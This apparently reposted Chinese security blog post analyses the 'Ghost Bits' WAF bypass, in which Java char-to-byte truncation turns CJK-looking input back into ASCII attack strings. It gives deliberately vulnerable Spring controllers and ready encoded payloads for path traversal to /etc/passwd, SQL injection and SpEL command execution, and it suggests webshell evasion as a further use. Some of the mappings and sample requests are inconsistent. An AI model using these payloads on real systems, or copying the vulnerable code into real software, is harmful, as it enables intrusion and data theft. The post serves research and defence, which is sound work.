GhostBits绕waf原理研究分析

admin 2026-05-01 06:07:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析BlackHatAsia2026公布的GhostBits漏洞原理,揭示Java中char转byte时高8位被丢弃的特性如何被利用绕过WAF。攻击者可将ASCII字符编码为Unicode汉字,WAF无法检测而Java后端处理时还原为原始攻击字符,实现SQL注入、路径穿越和RCE。文章提供完整编码规则、多种攻击场景POC及验证结果,指出Tomcat限制与绕过方法,并开发了工程化工具辅助利用。 综合评分: 91 文章分类: 漏洞分析,渗透测试,WEB安全,威胁情报,安全工具


cover_image

Ghost Bits 绕waf原理研究分析

原创

Garck3h Garck3h

pentest

2026年4月29日 22:28 广东

在小说阅读器读本章

去阅读

免责声明

文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

近期,Black Hat Asia 2026 公布的 “Ghost Bits”(幽灵比特位)漏洞在圈内引发了热议。议题中所讨论的缺陷横跨了 Spring、Tomcat、Fastjson 等主流 Java 组件,可以直接击穿现有的防御体系,导致大量历史漏洞死灰复燃,从而可以实现了“老洞新用”。本文将对其核心原理进行简要的剖析与学习,文末附议题的PPT。

1. 原理

1.1 Java char 与 byte 的本质差异

Java 的 char 是 16 位 Unicode,而 byte 是 8 位。当代码使用以下任意方式将 char 强转为 byte 时,高 8 位会被静默丢弃,常见的写法如下:

| 写法 | 等价行为 | | — | — | | (byte) ch | 只保留低 8 位 | | baos.write(ch) | write(int) 只写入低 8 位 | | DataOutputStream.writeBytes(String) | 逐 char 截断为 byte | | ch & 0xFF | 显式取低 8 位 |

被丢弃的高 8 位数据,就是 “幽灵比特位” (Ghost Bits)。

下面来一个直观演示:一个汉字如何变成一个 ASCII 字符

以 SQL 注入中最关键的字符 单引号 ‘ (0x27)为例,它的幽灵编码是汉字 (U+9027):

逧 (U+9027) 的 16 位二进制:

     高 8 位 (Ghost Bits)    低 8 位
    ┌─────────────────┐ ┌──────────────┐
    1 0 0 1  0 0 0 0   0 0 1 0  0 1 1 1
    └─────────────────┘ └──────────────┘
         0x90 丢弃 ←       0x27 保留 →  '

当执行 (byte) 逧 或 baos.write(逧) 时:

char:  1001 0000 0010 0111   (U+9027 = 逧)
            ↓ 高 8 位丢弃
byte:           0010 0111   (0x27 =  ' )

WAF 看到的是汉字“逧”,不会触发任何 SQL 注入规则;Java 后端一转 byte,立刻还原成单引号 ‘,闭合 SQL 语句。

1.2 攻击原理

对每个 ASCII 字符 进行ch,加上高位掩码 0x9000,生成幽灵字符 (char)(ch | 0x9000),低 8 位保持不变:

原始 ASCII:    '.'        '/'        'e'        't'
               0x2E       0x2F       0x65       0x74

加上高位掩码:  0x902E     0x902F     0x9065     0x9074
               逮         逯         遥         遴

WAF 视角:      看到汉字 "逮逯遥遴" → 无敏感关键词 → 放行 ✓

后端 char→byte: 0x902E → 0x2E  0x902F → 0x2F  0x9065 → 0x65  0x9074 → 0x74
               '.'         '/'         'e'         't'

还原结果:      "../et..." → 路径穿越 / SQL 注入 / 命令执行 ✓

1.3 编码规则

ASCII → 幽灵编码: ghost = (char)(ch | 0x9000)
幽灵编码 → ASCII: ch = (byte)ghost   (高位丢弃,只保留低 8 位)

逐字符映射表 (常用字符):

路径穿越:
  '.' (0x2E) → 逮 (U+902E)    '/' (0x2F) → 逯 (U+902F)

SQL 注入:
  '\'' (0x27) → 逧 (U+9027)   ' ' (0x20) → 造 (U+9020)
  'O' (0x4F) → 遏 (U+904F)    'R' (0x52) → 遒 (U+9052)
  '=' (0x3D) → 逽 (U+903D)    '-' (0x2D) → 逭 (U+902D)

SpEL 注入:
  'T' (0x54) → 達 (U+9054)    '(' (0x28) → 遨 (U+9028)
  '.' (0x2E) → 逮 (U+902E)    'R' (0x52) → 遒 (U+9052)
  'e' (0x65) → 遥 (U+9065)    'x' (0x78) → 選 (U+9078)

2. 分析

2.1 为什么 WAF 无法检测

| 攻击类型 | WAF 检测规则 | 幽灵编码后 | | — | — | — | | 路径穿越 | \.\./ | 逮逮逯 | | SQL 注入 | ' OR.*=.*-- | 逧造遏遒造逧週逧逽逧週逧造逭逭 | | 命令执行 | Runtime\.exec | 達逨遪遡遶遡逮遬... |

WAF 规则基于 ASCII 正则匹配,幽灵编码将每个 ASCII 字符替换为低 8 位相同的 Unicode 字符,WAF 看到的全是汉字/符号,规则完全不匹配

2.2 为什么后端会执行

典型 Java 后端代码:

ByteArrayOutputStream baos = new ByteArrayOutputStream();
for&nbsp;(int&nbsp;i =&nbsp;0; i < input.length(); i++) {
&nbsp; &nbsp; baos.write(input.charAt(i)); &nbsp;// write(int) 只取低 8 位,高位丢弃
}
String decoded =&nbsp;new&nbsp;String(baos.toByteArray(), StandardCharsets.UTF_8);&nbsp;// decoded 还原后的原始攻击语句

2.3 Tomcat 的限制与绕过

Tomcat 的 Http InputBuffer.parseRequestLine()逐字节校验 HTTP 请求行,遇到高位字节 (>= 0x80) 会触发符号扩展 (byte 0xE9 → int -23),导致 relaxedPathChars白名单失效(集合存的是正整数 233),无法通过配置接受原始 UTF-8 字节。

但是可以识别经过URL编码之后的幽灵字符,另外的方式就是使用下面描述的方式:使用原生 ServerSocketInputStreamReader("UTF-8")在应用层直接读取原始字节流,跳过 Tomcat HTTP 解析器。

3. POC 与测试验证

3.1 路径穿越 — 任意文件读取

漏洞代码(VulnerableFileController.java):

@GetMapping("/ghost")
public&nbsp;String&nbsp;ghostRead(@RequestParam String payload)&nbsp;throws&nbsp;IOException&nbsp;{
&nbsp; &nbsp; String fullyDecoded = GhostBitsUtil.decode(payload);
&nbsp; &nbsp; Path path = Paths.get(BASE_DIR, fullyDecoded).normalize();
&nbsp; &nbsp;&nbsp;return&nbsp;new&nbsp;String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}

幽灵 Payload 构造(../../../etc/passwd):

../ &nbsp;→ 逮逮逯 &nbsp; &nbsp; &nbsp; &nbsp;../ &nbsp;→ 逮逮逯 &nbsp; &nbsp; &nbsp; &nbsp;../ &nbsp;→ 逮逮逯
etc &nbsp;→ 遥遴遣 &nbsp; &nbsp; &nbsp; &nbsp;/ &nbsp; &nbsp;→ 逯
passwd → 遰遡遳遳遷遤
完整 Payload: 逮逮逯逮逮逯逮逮逯遥遴遣逯遰遡遳遳遷遤

攻击请求 :

GET /vulnerable/ghost?payload=/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: 192.168.1.197:8090

验证结果:

WAF 视角对比:

未编码: ../../../etc/passwd &nbsp; &nbsp; &nbsp; &nbsp;→ WAF 检测到 ../ → 拦截 ✗
幽灵编码: 逮逮逯逮逮逯逮逮逯遥遴遣逯遰遡遳遳遷遤 &nbsp;→ WAF 看到汉字 → 放行 ✓

3.2 SQL 注入

漏洞代码(SqlVulnerableController.java):

@GetMapping("/sql")
&nbsp; &nbsp;&nbsp;public&nbsp;Map<String, Object>&nbsp;sqlQuery(@RequestParam String username)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; String decoded = GhostBitsUtil.decode(username);

&nbsp; &nbsp; &nbsp; &nbsp; String sql =&nbsp;"SELECT id, username, password, email, role FROM users WHERE username = '"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + decoded +&nbsp;"'";

&nbsp; &nbsp; &nbsp; &nbsp; List<Map<String, Object>> results;
&nbsp; &nbsp; &nbsp; &nbsp; String error =&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; results = jdbc.queryForList(sql);
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; results = Collections.emptyList();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error = e.getMessage();
&nbsp; &nbsp; &nbsp; &nbsp; }

正常请求

传统注入(' OR '1'='1' --

幽灵 Payload 构造(' OR '1'='1' --):

' → 逧 &nbsp;(空格) → 造 &nbsp;O → 遏 &nbsp;R → 遒 &nbsp;(空格) → 造 &nbsp;' → 逧
1 → 逧 &nbsp;= → 逽 &nbsp;' → 逧 &nbsp;1 → 逧 &nbsp;' → 逧 &nbsp;(空格) → 造 &nbsp;- → 逭 &nbsp;- → 逭

完整 Payload: 逧造遏遒造逧週逧逽逧週逧造逭逭

攻击请求:

GET /vulnerable/sql?username=逧造遏遒造逧週逧逽逧週逧造逭逭 HTTP/1.1
Host: 192.168.1.197:8090

验证结果:

WAF 视角对比:

未编码: ' OR '1'='1' -- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → WAF 检测到 SQL 关键词 → 拦截 ✗
幽灵编码: 逧造遏遒造逧週逧逽逧週逧造逭逭 &nbsp;→ WAF 看到汉字 → 放行 ✓

3.3 SpEL 表达式注入 — RCE

漏洞代码(SpelVulnerableController.java):

&nbsp;@GetMapping("/spel")
&nbsp; &nbsp;&nbsp;public&nbsp;Map<String, Object>&nbsp;spelEval(@RequestParam String expr)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; String decoded = GhostBitsUtil.decode(expr);

&nbsp; &nbsp; &nbsp; &nbsp; Object result =&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; String error =&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; String resultType =&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; String cmdOutput =&nbsp;null;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SpelExpressionParser parser =&nbsp;new&nbsp;SpelExpressionParser();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StandardEvaluationContext context =&nbsp;new&nbsp;StandardEvaluationContext();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Expression expression = parser.parseExpression(decoded);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = expression.getValue(context);

传统模板注入:

(7*7)

T(java.lang.Runtime).getRuntime().exec('id')

![](https://mmbiz.qpic.cn/mmbiz_png/4VDMhlcSrqnhwpzfiblNMgXXs136LFE1v0rvFicVRfFyvLzl11DCdYqn9fcrgwj68z8UPoHRwdB3jhWzsiceEKa5nSgtDN1bJDKKB5X1yFibYQo/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=9)

攻击请求:

GET /vulnerable/spel?expr=達逨遪遡遶遡逮遬遡遮遧逮遒遵遮遴適遭遥逩逮遧遥遴遒遵遮遴適遭遥逨逩逮遥選遥遣逨逧適遤逧逩 HTTP/1.1
Host: 192.168.1.197:8090

验证结果:

WAF 视角对比:

未编码: T(java.lang.Runtime).getRuntime().exec('id') &nbsp;→ WAF 检测到 Runtime.exec → 拦截 ✗
幽灵编码: 達逨遪遡遶遡逮遬遡遮遧逮遒遵遮遴適... &nbsp; &nbsp; → WAF 看到汉字 → 放行 ✓

4.工程化

这个后面甚至可以考虑作为新的 webshell免杀的 一个编码的方式,待后续 有空的时候 再深度研究一下。

这里用AI写了一个原生前端HTML文件可以在本地打开直接进行自定义的转码和解码。

GitHub地址:

https://github.com/Garck3h/ghostbits-tool.git

![](https://mmbiz.qpic.cn/mmbiz_png/4VDMhlcSrqlb9otIFU2A2hrHiaqSCUV8v7euG4mWDNTm22MR2r4hicunnJcz1eicWvEG2wypyibz09v0W74XEQrMkhOP9B9HheqSBqQ2KntjtMc/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=11)

5. 总结

5.1 攻击链总结

攻击者构造幽灵 Payload (每个 ASCII → 低8位相同的 Unicode 字符)
&nbsp; &nbsp; &nbsp; &nbsp; ↓
WAF/IDS 正则匹配: 看到一堆汉字,无敏感关键词 → 放行
&nbsp; &nbsp; &nbsp; &nbsp; ↓
Java 后端 char→byte 转换 (高位丢弃) → 还原原始攻击语句
&nbsp; &nbsp; &nbsp; &nbsp; ↓
路径穿越 / SQL 注入 / 命令执行 → 攻击成功

5.2 影响范围

任何满足以下条件的 Java 应用都存在风险:

  1. 接收用户输入(HTTP 参数、Header、Body)
  2. 使用 char→byte 强转处理输入(直接或间接)
  3. 后端存在可被利用的漏洞(SQL 拼接、路径拼接、表达式求值等)

5.3 防御建议

| 防御层 | 措施 | 说明 | | — | — | — | | 输入校验 | 拒绝非 ASCII 字符 | if (ch > 127) reject — 从根源阻断幽灵比特位 | | 纵深防御 | 多层校验 | 输入校验 + 输出编码 + 最小权限 |

核心原则: 永远不要信任用户输入作为安全敏感操作的参数,即使它看起来是一堆乱码汉字。

附:议题PPT https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf

参考

[1] https://mp.weixin.qq.com/s/DTGdGNGXPtHc-I6DEr6Dqg


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:pentest Garck3h Garck3h《Ghost Bits 绕waf原理研究分析》

评论:0   参与:  0